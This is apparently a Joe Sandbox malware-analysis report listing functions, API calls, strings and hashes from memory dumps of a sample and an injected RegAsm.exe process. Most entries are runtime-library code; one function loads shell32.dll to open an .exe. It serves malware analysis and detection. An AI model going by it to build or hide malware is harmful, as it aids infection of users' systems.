Associated: 00000004.00000002.2304517289.0000000000ACA000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2304602444.0000000000AD5000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2304673417.0000000000BB8000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_aa0000_leg222.jbxd

Similarity

API ID: CurrentImageNonwritable___except_validate_context_record
String ID: csm
API String ID: 3480331319-1018135373
Opcode ID: 5570ff4fe8a7c2230be08b960e5ffd1b0f8757a0c7d6fc02100ecae0e1c4b222
Instruction ID: 6b64a98a1f625efe863fe6306c3f1d0ed4f9e291e76bdcd26524df810902c105
Opcode Fuzzy Hash: 5570ff4fe8a7c2230be08b960e5ffd1b0f8757a0c7d6fc02100ecae0e1c4b222
Instruction Fuzzy Hash: 2A41D334E00218AFCF10DF68C885A9EBBB5FF46314F14856AE815AB3D2D771D905CB91

Function 00AAE94D Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 112COMMONLIBRARYCODE

Download Yara Rule

APIs

EncodePointer.KERNEL32(00000000,?), ref: 00AAE972

Strings

RCC, xrefs: 00AAE98C
MOC, xrefs: 00AAE984

Memory Dump Source

Source File: 00000004.00000002.2304487503.0000000000AA1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00AA0000, based on PE: true

Associated: 00000004.00000002.2304467854.0000000000AA0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2304517289.0000000000ACA000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2304602444.0000000000AD5000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2304673417.0000000000BB8000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_aa0000_leg222.jbxd

Similarity

API ID: EncodePointer
String ID: MOC$RCC
API String ID: 2118026453-2084237596
Opcode ID: f26416db29b8a3f2dbcbc2fa827fee5621f87b61bccc8ec6da15b4812ca09f20
Instruction ID: 2e78b63d4e48ebfa3e3407fc3f7ff3f29b509ebfab84c1d2fed87c8b07a29dd9
Opcode Fuzzy Hash: f26416db29b8a3f2dbcbc2fa827fee5621f87b61bccc8ec6da15b4812ca09f20
Instruction Fuzzy Hash: 24418B72900209EFCF16DF98CD81AEEBBB5FF4A300F188159F904A72A1D335AA51DB50

Function 00AA19B0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 43COMMONLIBRARYCODE

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 00AA19B5
std::_Locinfo::_Locinfo_ctor.LIBCPMT ref: 00AA19FA

Part of subcall function 00AA9135: _Yarn.LIBCPMT ref: 00AA9154
Part of subcall function 00AA9135: _Yarn.LIBCPMT ref: 00AA9178

Strings

bad locale name, xrefs: 00AA1A08

Memory Dump Source

Source File: 00000004.00000002.2304487503.0000000000AA1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00AA0000, based on PE: true

Associated: 00000004.00000002.2304467854.0000000000AA0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2304517289.0000000000ACA000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2304602444.0000000000AD5000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2304673417.0000000000BB8000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_aa0000_leg222.jbxd

Similarity

API ID: Yarnstd::_$Locinfo::_Locinfo_ctorLockitLockit::_
String ID: bad locale name
API String ID: 1908188788-1405518554
Opcode ID: 0167d34a8a1e07bc41bf59498b4fcb3991d6f463fb315376d2b7db6afe1300b3
Instruction ID: 75644a1ae8dc75e5a2554ba4113a81c44dcd9ad476e4f1b1cb660eb18681d6a4
Opcode Fuzzy Hash: 0167d34a8a1e07bc41bf59498b4fcb3991d6f463fb315376d2b7db6afe1300b3
Instruction Fuzzy Hash: 4EF0F961505B509ED3B0DF758905747BAE0AF26714F044E1ED4CA87A81E375E508CBA6

Analysis Process: RegAsm.exePID: 6768, Parent PID: 6472COMMON

Execution Graph

Execution Coverage:	5.1%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	0%
Total number of Nodes:	2000
Total number of Limit Nodes:	47

Executed Functions

Function 0041FEAF Relevance: 13.8, APIs: 9, Instructions: 273
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0041FB65: CreateFileW.KERNELBASE(?,00000000,?,0041FF58,?,?,00000000,?,0041FF58,?,0000000C), ref: 0041FB82

GetLastError.KERNEL32 ref: 0041FFC3
__dosmaperr.LIBCMT ref: 0041FFCA
GetFileType.KERNELBASE(00000000), ref: 0041FFD6
GetLastError.KERNEL32 ref: 0041FFE0
__dosmaperr.LIBCMT ref: 0041FFE9
CloseHandle.KERNEL32(00000000), ref: 00420009
CloseHandle.KERNEL32(?), ref: 00420156
GetLastError.KERNEL32 ref: 00420188
__dosmaperr.LIBCMT ref: 0042018F

Memory Dump Source

Source File: 00000005.00000002.2098178516.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: ErrorLast__dosmaperr$CloseFileHandle$CreateType
String ID:
API String ID: 4237864984-0
Opcode ID: 87ef763bbd003f1d2de960a3db6ca709dde3cd444b7d1b6f895e6fd8deb0075d
Instruction ID: c043dc6610800097a8c7d9f7805d75e01504a092e95ab29a96a2aa982ce353c5
Opcode Fuzzy Hash: 87ef763bbd003f1d2de960a3db6ca709dde3cd444b7d1b6f895e6fd8deb0075d
Instruction Fuzzy Hash: FCA14732A041559FCF19DF28EC91BAE3BA1AB46314F18016EF801EB3D2C7398957D759

Function 004038C0 Relevance: 12.7, APIs: 3, Strings: 4, Instructions: 401
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryW.KERNEL32(shell32.dll), ref: 0040390A

Strings

@ H, xrefs: 0040393D
open, xrefs: 00403E04, 00403E25
shell32.dll, xrefs: 00403905
.exe, xrefs: 004039E4, 004039F5, 00403C28, 00403C39

Memory Dump Source

Source File: 00000005.00000002.2098178516.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: LibraryLoad
String ID: .exe$@ H$open$shell32.dll
API String ID: 1029625771-2987591363
Opcode ID: 7524848f7d8f2674afbb273581c2375fbbf768753a763d1116217cfb9a01ff61
Instruction ID: 3551e15f6bd169a72ee8878f45c68fafb0690aff99948e81ac1914cb9be179fc
Opcode Fuzzy Hash: 7524848f7d8f2674afbb273581c2375fbbf768753a763d1116217cfb9a01ff61
Instruction Fuzzy Hash: BCE12A712083408BD728CF28CC45B6FBBE5BF85305F24462DF489AB2D2D779E6458B5A

Function 00411432 Relevance: 4.5, APIs: 3, Instructions: 15
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentProcess.KERNEL32(?,?,0041142C,00000016,0040BD98,?,?,50A26BB6,0040BD98,?), ref: 00411443
TerminateProcess.KERNEL32(00000000,?,0041142C,00000016,0040BD98,?,?,50A26BB6,0040BD98,?), ref: 0041144A
ExitProcess.KERNEL32 ref: 0041145C

Memory Dump Source

Source File: 00000005.00000002.2098178516.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: Process$CurrentExitTerminate
String ID:
API String ID: 1703294689-0
Opcode ID: fdc9db31659cbe28c415a8b0888f718e5b65b0592ff8268f2e9698ce38014a47
Instruction ID: 3fe6f93935658f8ab67006e652a10cd0383134051074610e396dae59c432ecd7
Opcode Fuzzy Hash: fdc9db31659cbe28c415a8b0888f718e5b65b0592ff8268f2e9698ce38014a47
Instruction Fuzzy Hash: 5DD09E31100148ABCF117F61EC0DA993F2AAF407557858025FA0A56131CB369993AA58

Function 00416DAF Relevance: 3.2, APIs: 2, Instructions: 191
fileCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 004164C2: GetConsoleOutputCP.KERNEL32(50A26BB6,00000000,00000000,0040BDB8), ref: 00416525

WriteFile.KERNELBASE(FFBF5BE8,00000000,?,0040BC75,00000000,00000000,00000000,00000000,?,?,0040BC75,?,?,004328B8,00000010,0040BDB8), ref: 00416F18
GetLastError.KERNEL32(?,0040BC75,?,?,004328B8,00000010,0040BDB8,?,?,00000000,?), ref: 00416F22

Memory Dump Source

Source File: 00000005.00000002.2098178516.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: ConsoleErrorFileLastOutputWrite
String ID:
API String ID: 2915228174-0
Opcode ID: f464ed671a76038d08897ffb1fb948258ea98ac2c0acb72c9529f46f39d22c7a
Instruction ID: cb585fdb2482b244a4d3bef91fab55670e651a1c55327e645a67e42ff2a15e13
Opcode Fuzzy Hash: f464ed671a76038d08897ffb1fb948258ea98ac2c0acb72c9529f46f39d22c7a
Instruction Fuzzy Hash: 4461D775D04249AFDF10CFA8C844AEF7FB9AF09308F16415AF804A7252D379D986CB69

Function 00414D5D Relevance: 3.1, APIs: 2, Instructions: 63
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

FindCloseChangeNotification.KERNELBASE(00000000,00000000,CF830579,?,00414C44,00000000,CF830579,00432C48,0000000C,00414D00,0040BD0B,?), ref: 00414DB3
GetLastError.KERNEL32(?,00414C44,00000000,CF830579,00432C48,0000000C,00414D00,0040BD0B,?), ref: 00414DBD

Memory Dump Source

Source File: 00000005.00000002.2098178516.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: ChangeCloseErrorFindLastNotification
String ID:
API String ID: 1687624791-0
Opcode ID: cf05b64a0bbd980239ba65db1c1c6f103e722fbee84b5f4660c8636332b429dd
Instruction ID: ceb111eb948f9657ebdeceefd9bfba8073a9b29251fc9eed98a790ab6a2c0bec
Opcode Fuzzy Hash: cf05b64a0bbd980239ba65db1c1c6f103e722fbee84b5f4660c8636332b429dd
Instruction Fuzzy Hash: 06114C336041241ADB246635BC867FE6749CBC1738F290A5FF808C72C1DE388CC2929C

Function 00403EE0 Relevance: 3.0, APIs: 2, Instructions: 22
synchronizationthreadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateThread.KERNELBASE(00000000,00000000,004038C0,00000000,00000000,50A26BB6), ref: 00403F06
WaitForSingleObject.KERNEL32(00000000,000000FF), ref: 00403F0F

Memory Dump Source

Source File: 00000005.00000002.2098178516.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: CreateObjectSingleThreadWait
String ID:
API String ID: 1891408510-0
Opcode ID: af3e1afe4429c917983b20489d93451d494df3de1508f1cbbf6b72916d2180c4
Instruction ID: 9ada69c4f7ca39928594594d106047c4e65b58e1a3541a0c5f1fc3d2bb6a9bfa
Opcode Fuzzy Hash: af3e1afe4429c917983b20489d93451d494df3de1508f1cbbf6b72916d2180c4
Instruction Fuzzy Hash: 10E08675758300BBD710EF24EC07F1A3BE4BB48B05F914A39F295A62D0D674B404965E

Function 004143CC Relevance: 1.6, APIs: 1, Instructions: 57
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000005.00000002.2098178516.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 672b8ef80a1082ffe797a66fe554d50d659c07feffc08aafbed84bfcd02d8428
Instruction ID: d7b25293e7db54f96000769fea1aeb7630fb582f3d7d0c2fc2c622193e8995c8
Opcode Fuzzy Hash: 672b8ef80a1082ffe797a66fe554d50d659c07feffc08aafbed84bfcd02d8428
Instruction Fuzzy Hash: 620128373002255F9F25CF6EEC40ADB33A6FBC07243148136FA20CB684DA34D8829799

Function 00413EF2 Relevance: 1.6, APIs: 1, Instructions: 54
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__wsopen_s.LIBCMT ref: 00413F2C

Memory Dump Source

Source File: 00000005.00000002.2098178516.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: __wsopen_s
String ID:
API String ID: 3347428461-0
Opcode ID: 86b5a37895ede01666616fd7f26fe40e68c10059cd8d9e9be6e6956d389c093e
Instruction ID: be02312cd07e58b193bdeee16c95f5fde802225de20a5ed1c7ae4422ede983e8
Opcode Fuzzy Hash: 86b5a37895ede01666616fd7f26fe40e68c10059cd8d9e9be6e6956d389c093e
Instruction Fuzzy Hash: 46110375A0420AAFCB05DF58E9419DB7BF9EF48304F04406AF809AB351D630EA15CBA8

Function 0041FB65 Relevance: 1.5, APIs: 1, Instructions: 15
fileCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateFileW.KERNELBASE(?,00000000,?,0041FF58,?,?,00000000,?,0041FF58,?,0000000C), ref: 0041FB82

Memory Dump Source

Source File: 00000005.00000002.2098178516.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: 32f1cee3c5876f16e38c750b1e34007635eee82df29fa4d42b06ff8a7cf34f14
Instruction ID: 28cfbda6749b70c9de2fbd9d245fef773b8951bf2dd70127050a9a6bf190398c
Opcode Fuzzy Hash: 32f1cee3c5876f16e38c750b1e34007635eee82df29fa4d42b06ff8a7cf34f14
Instruction Fuzzy Hash: 05D06C3210010DFBDF128F84DC06EDA3FAAFB4C714F018010FA5856021C732E832AB94

Non-executed Functions

Function 0041EBA1 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 85COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLocaleInfoW.KERNEL32(3FC00000,2000000B,0041EEBF,00000002,00000000,?,?,?,0041EEBF,?,00000000), ref: 0041EC3A
GetLocaleInfoW.KERNEL32(3FC00000,20001004,0041EEBF,00000002,00000000,?,?,?,0041EEBF,?,00000000), ref: 0041EC63
GetACP.KERNEL32(?,?,0041EEBF,?,00000000), ref: 0041EC78

Strings

ACP, xrefs: 0041EBBF
OCP, xrefs: 0041EBF5

Memory Dump Source

Source File: 00000005.00000002.2098178516.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: InfoLocale
String ID: ACP$OCP
API String ID: 2299586839-711371036
Opcode ID: ae0517b9bda7198648f1cbed6e652a34a4e79f3510d6da964a24c0c18db862fc
Instruction ID: 81a9d30784dd22d719d41cfb92251f6e816e7a4bc62bdb22216d11a6fc444572
Opcode Fuzzy Hash: ae0517b9bda7198648f1cbed6e652a34a4e79f3510d6da964a24c0c18db862fc
Instruction Fuzzy Hash: 92218E3AB04101AADB34CF56CD05AD773A7AF50B50B568826FD0AD7211F736EE81C798

Function 0041ED76 Relevance: 7.7, APIs: 5, Instructions: 183COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 0041513B: GetLastError.KERNEL32(?,00000008,004176BA), ref: 0041513F
Part of subcall function 0041513B: SetLastError.KERNEL32(00000000,00000001,00000006,000000FF), ref: 004151E1

GetUserDefaultLCID.KERNEL32(?,?,?,00000055,?), ref: 0041EE82
IsValidCodePage.KERNEL32(00000000), ref: 0041EECB
IsValidLocale.KERNEL32(?,00000001), ref: 0041EEDA
GetLocaleInfoW.KERNEL32(?,00001001,-00000050,00000040,?,000000D0,00000055,00000000,?,?,00000055,00000000), ref: 0041EF22
GetLocaleInfoW.KERNEL32(?,00001002,00000030,00000040), ref: 0041EF41

Memory Dump Source

Source File: 00000005.00000002.2098178516.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: Locale$ErrorInfoLastValid$CodeDefaultPageUser
String ID:
API String ID: 415426439-0
Opcode ID: 1f142972335a53d1e2416df24534188105d76140515381cc06687f0020485920
Instruction ID: eeabbf5cfaddba79e94d22b4dd48aaeada7d5b667952b3c456454f902e5df75d
Opcode Fuzzy Hash: 1f142972335a53d1e2416df24534188105d76140515381cc06687f0020485920
Instruction Fuzzy Hash: B4519075A00315ABDF20DFA6DC41BEB77B8FF48700F54442AAD14E7290E7789980CB69

Function 0041E412 Relevance: 7.3, APIs: 3, Strings: 1, Instructions: 251COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 0041513B: GetLastError.KERNEL32(?,00000008,004176BA), ref: 0041513F
Part of subcall function 0041513B: SetLastError.KERNEL32(00000000,00000001,00000006,000000FF), ref: 004151E1

GetACP.KERNEL32(?,?,?,?,?,?,00411EE1,?,?,?,00000055,?,-00000050,?,?,00000004), ref: 0041E4D3
IsValidCodePage.KERNEL32(00000000,?,?,?,?,?,?,00411EE1,?,?,?,00000055,?,-00000050,?,?), ref: 0041E4FE
GetLocaleInfoW.KERNEL32(00000000,?,?,00000078,-00000050,00000000,000000D0), ref: 0041E661

Strings

utf8, xrefs: 0041E5D0

Memory Dump Source

Source File: 00000005.00000002.2098178516.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: ErrorLast$CodeInfoLocalePageValid
String ID: utf8
API String ID: 607553120-905460609
Opcode ID: d2e92ad91d33230e432f41824a885b4f53a9106f8c4d9673b702c20c8aa694f9
Instruction ID: 5e8f11e88951c7c1c9557d61489bca48d24d80555c5ca4e9e4b82e7d51b65768
Opcode Fuzzy Hash: d2e92ad91d33230e432f41824a885b4f53a9106f8c4d9673b702c20c8aa694f9
Instruction Fuzzy Hash: 8F711775A00611AADB24AB77CC42BE773A8EF54708F14442BFD05D7281FB7CE9818799

Function 00415635 Relevance: 6.3, APIs: 4, Instructions: 337COMMON

Download Yara Rule

APIs

_strrchr.LIBCMT ref: 004156C2

Memory Dump Source

Source File: 00000005.00000002.2098178516.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: _strrchr
String ID:
API String ID: 3213747228-0
Opcode ID: d8f824a3a597dbe048be884bb3e91045552750dfa5ffe6b567c0d7537b351b3d
Instruction ID: 91afe31f9ab3d507f6121463a8ee3d13cfef47ac4a512e863f990cc27fdcea00
Opcode Fuzzy Hash: d8f824a3a597dbe048be884bb3e91045552750dfa5ffe6b567c0d7537b351b3d
Instruction Fuzzy Hash: 92B15872E00645DFDB119F68C891BEEBBE5EF85310F14816BE815AB341D2389D81CBA9

Function 00407B01 Relevance: 6.1, APIs: 4, Instructions: 73COMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32(00000017), ref: 00407B0D
IsDebuggerPresent.KERNEL32 ref: 00407BD9
SetUnhandledExceptionFilter.KERNEL32(00000000), ref: 00407BF9
UnhandledExceptionFilter.KERNEL32(?), ref: 00407C03

Memory Dump Source

Source File: 00000005.00000002.2098178516.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: ExceptionFilterPresentUnhandled$DebuggerFeatureProcessor
String ID:
API String ID: 254469556-0
Opcode ID: bdb8d4ffe5861b74027a400539b36d4e8f115b4355d90c864d7f04757154f5f6
Instruction ID: ca20a48664bdef0e78e9b146848890f6e34f40b99dedcfcf476291c653997e40
Opcode Fuzzy Hash: bdb8d4ffe5861b74027a400539b36d4e8f115b4355d90c864d7f04757154f5f6
Instruction Fuzzy Hash: 1B314B75D0521CDBDF20DFA0D9497CDBBB8BF04304F1040AAE50DA7290EB756A859F09

Function 00404B20 Relevance: 19.4, APIs: 10, Strings: 1, Instructions: 191COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 00404B4C
std::_Lockit::_Lockit.LIBCPMT ref: 00404B69
std::_Lockit::~_Lockit.LIBCPMT ref: 00404B8D
std::_Lockit::~_Lockit.LIBCPMT ref: 00404BB8
std::_Lockit::_Lockit.LIBCPMT ref: 00404C2A
std::_Locinfo::_Locinfo_ctor.LIBCPMT ref: 00404C7F
__Getctype.LIBCPMT ref: 00404C96
std::_Locinfo::_Locinfo_dtor.LIBCPMT ref: 00404CD6
std::_Lockit::~_Lockit.LIBCPMT ref: 00404D78
std::_Facet_Register.LIBCPMT ref: 00404D7E

Strings

bad locale name, xrefs: 00404D98

Memory Dump Source

Source File: 00000005.00000002.2098178516.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Locinfo::_$Facet_GetctypeLocinfo_ctorLocinfo_dtorRegister
String ID: bad locale name
API String ID: 103145292-1405518554
Opcode ID: 07779c633be37db408639f77928584da0fe84fd984f841e2fd8ba1ab6a6bcfd4
Instruction ID: c45789c66640c356b2bc41b45c406846e681c44b1f4b151baf81fb86c109fe15
Opcode Fuzzy Hash: 07779c633be37db408639f77928584da0fe84fd984f841e2fd8ba1ab6a6bcfd4
Instruction Fuzzy Hash: 7B619FB19043408BD720DF65D941B5BB7F4AFD4304F05493EE989A7392E738E948CB5A

Function 0040A998 Relevance: 14.3, APIs: 4, Strings: 4, Instructions: 303COMMONLIBRARYCODE

Download Yara Rule

APIs

type_info::operator==.LIBVCRUNTIME ref: 0040AAB7
___TypeMatch.LIBVCRUNTIME ref: 0040ABC5
_UnwindNestedFrames.LIBCMT ref: 0040AD17
CallUnexpected.LIBVCRUNTIME ref: 0040AD32

Strings

csm, xrefs: 0040AA42
hqB, xrefs: 0040AAAE
csm, xrefs: 0040AAEE
csm, xrefs: 0040A9D5

Memory Dump Source

Source File: 00000005.00000002.2098178516.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: CallFramesMatchNestedTypeUnexpectedUnwindtype_info::operator==
String ID: csm$csm$csm$hqB
API String ID: 2751267872-961717235
Opcode ID: 5312b3d91eab99b169114e3402d6476c4e494fcb55b904c8292e4fd39c2bab0a
Instruction ID: 1a84720c735a061b690d6f447b3278b908e1dcb1436106e9bb87ee9a1a6810cd
Opcode Fuzzy Hash: 5312b3d91eab99b169114e3402d6476c4e494fcb55b904c8292e4fd39c2bab0a
Instruction Fuzzy Hash: 2DB18A718003099FDF14DFA5C9809AEBBB5FF14304B19456BE8017B282C739DA61CF9A

Function 00422D42 Relevance: 14.1, APIs: 1, Strings: 7, Instructions: 147COMMONLIBRARYCODE

Download Yara Rule

APIs

DecodePointer.KERNEL32(?,?,?,?,?,?,?,?,?,0042485F), ref: 00422D5B

Strings

acos, xrefs: 00422E91
sqrt, xrefs: 00422E9A
asin, xrefs: 00422E88
exp, xrefs: 00422DDA, 00422E3F
pow, xrefs: 00422DF9, 00422EA3, 00422EF0
log, xrefs: 00422DB8, 00422DC7
log10, xrefs: 00422D9D, 00422DAC

Memory Dump Source

Source File: 00000005.00000002.2098178516.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: DecodePointer
String ID: acos$asin$exp$log$log10$pow$sqrt
API String ID: 3527080286-3064271455
Opcode ID: 99bc9cc3bdd9136b520063792197f245364da15bbda7aca5a31b7bed04557963
Instruction ID: 541d14d2076966b173cd57405107be29c5c83d47e8039af315078564b0fddfcc
Opcode Fuzzy Hash: 99bc9cc3bdd9136b520063792197f245364da15bbda7aca5a31b7bed04557963
Instruction Fuzzy Hash: 76514371B0062AEBCB108F59FA4C1AEBBB0FB45304F924057D480A6354CBBD8925EB5E

Function 0040718A Relevance: 14.0, APIs: 4, Strings: 4, Instructions: 19libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(kernel32.dll), ref: 00407190
GetProcAddress.KERNEL32(00000000,GetCurrentPackageId), ref: 0040719E
GetProcAddress.KERNEL32(00000000,GetSystemTimePreciseAsFileTime), ref: 004071AF
GetProcAddress.KERNEL32(00000000,GetTempPath2W), ref: 004071C0

Strings

GetCurrentPackageId, xrefs: 00407198
GetTempPath2W, xrefs: 004071B5
kernel32.dll, xrefs: 0040718B
GetSystemTimePreciseAsFileTime, xrefs: 004071A4

Memory Dump Source

Source File: 00000005.00000002.2098178516.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: AddressProc$HandleModule
String ID: GetCurrentPackageId$GetSystemTimePreciseAsFileTime$GetTempPath2W$kernel32.dll
API String ID: 667068680-1247241052
Opcode ID: 12cc8ab004fe47f31fffcbf58e36badd15f6e56e2ad587471c9b10d870eb8305
Instruction ID: 3afd18a413fbafaec0d1884410ec314f69904bb85606d66d63126fe90f125993
Opcode Fuzzy Hash: 12cc8ab004fe47f31fffcbf58e36badd15f6e56e2ad587471c9b10d870eb8305
Instruction Fuzzy Hash: 3CE0EC71749671AB83209F70BC0EDAA3AA4EE0971139205B2BD15D2361D6BC44559B9C

Function 00424323 Relevance: 12.2, APIs: 8, Instructions: 248COMMON

Download Yara Rule

APIs

GetCPInfo.KERNEL32(00BECBE8,00BECBE8,?,7FFFFFFF,?,004245F3,00BECBE8,00BECBE8,?,00BECBE8,?,?,?,?,00BECBE8,?), ref: 004243C9
__alloca_probe_16.LIBCMT ref: 00424484
__alloca_probe_16.LIBCMT ref: 00424513
__freea.LIBCMT ref: 0042455E
__freea.LIBCMT ref: 00424564
__freea.LIBCMT ref: 0042459A
__freea.LIBCMT ref: 004245A0
__freea.LIBCMT ref: 004245B0

Memory Dump Source

Source File: 00000005.00000002.2098178516.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: __freea$__alloca_probe_16$Info
String ID:
API String ID: 127012223-0
Opcode ID: 8a56644c9f658ced4a7fecf9f58cf2b799a0c4498a4b3962048a55bd8390d3ba
Instruction ID: b3b1fd3be87dc675253da9249cad55eb0a70a834b65d1a532299ad71412a1fff
Opcode Fuzzy Hash: 8a56644c9f658ced4a7fecf9f58cf2b799a0c4498a4b3962048a55bd8390d3ba
Instruction Fuzzy Hash: 24711872B00625ABDF20AE64AC41BAF77B5DFC5314F94005BEA44A7381D73CDC8187A9

Function 00414301 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 74COMMONLIBRARYCODE

Download Yara Rule

APIs

FreeLibrary.KERNEL32(00000000,?,00000000,00000800,00000000,?,?,50A26BB6,?,0041440E,004038E3,?,?,00000000), ref: 004143C2

Strings

api-ms-, xrefs: 00414358
ext-ms-, xrefs: 0041436C

Memory Dump Source

Source File: 00000005.00000002.2098178516.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: FreeLibrary
String ID: api-ms-$ext-ms-
API String ID: 3664257935-537541572
Opcode ID: 86759f0994eafd6f84a6647c0fdf9b4e30a2247b6dec6dce197b99e7f52573c2
Instruction ID: 9d281342414512710d521e2bc5e8bd8d189b06f0c9bb1d1e4d3acc3ca9f27be4
Opcode Fuzzy Hash: 86759f0994eafd6f84a6647c0fdf9b4e30a2247b6dec6dce197b99e7f52573c2
Instruction Fuzzy Hash: 9E21F371B41219ABCB219B61AC41F9B77589F817B4F250222ED26A73C0D738ED42C6D8

Function 00422232 Relevance: 9.3, APIs: 6, Instructions: 298COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2098178516.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

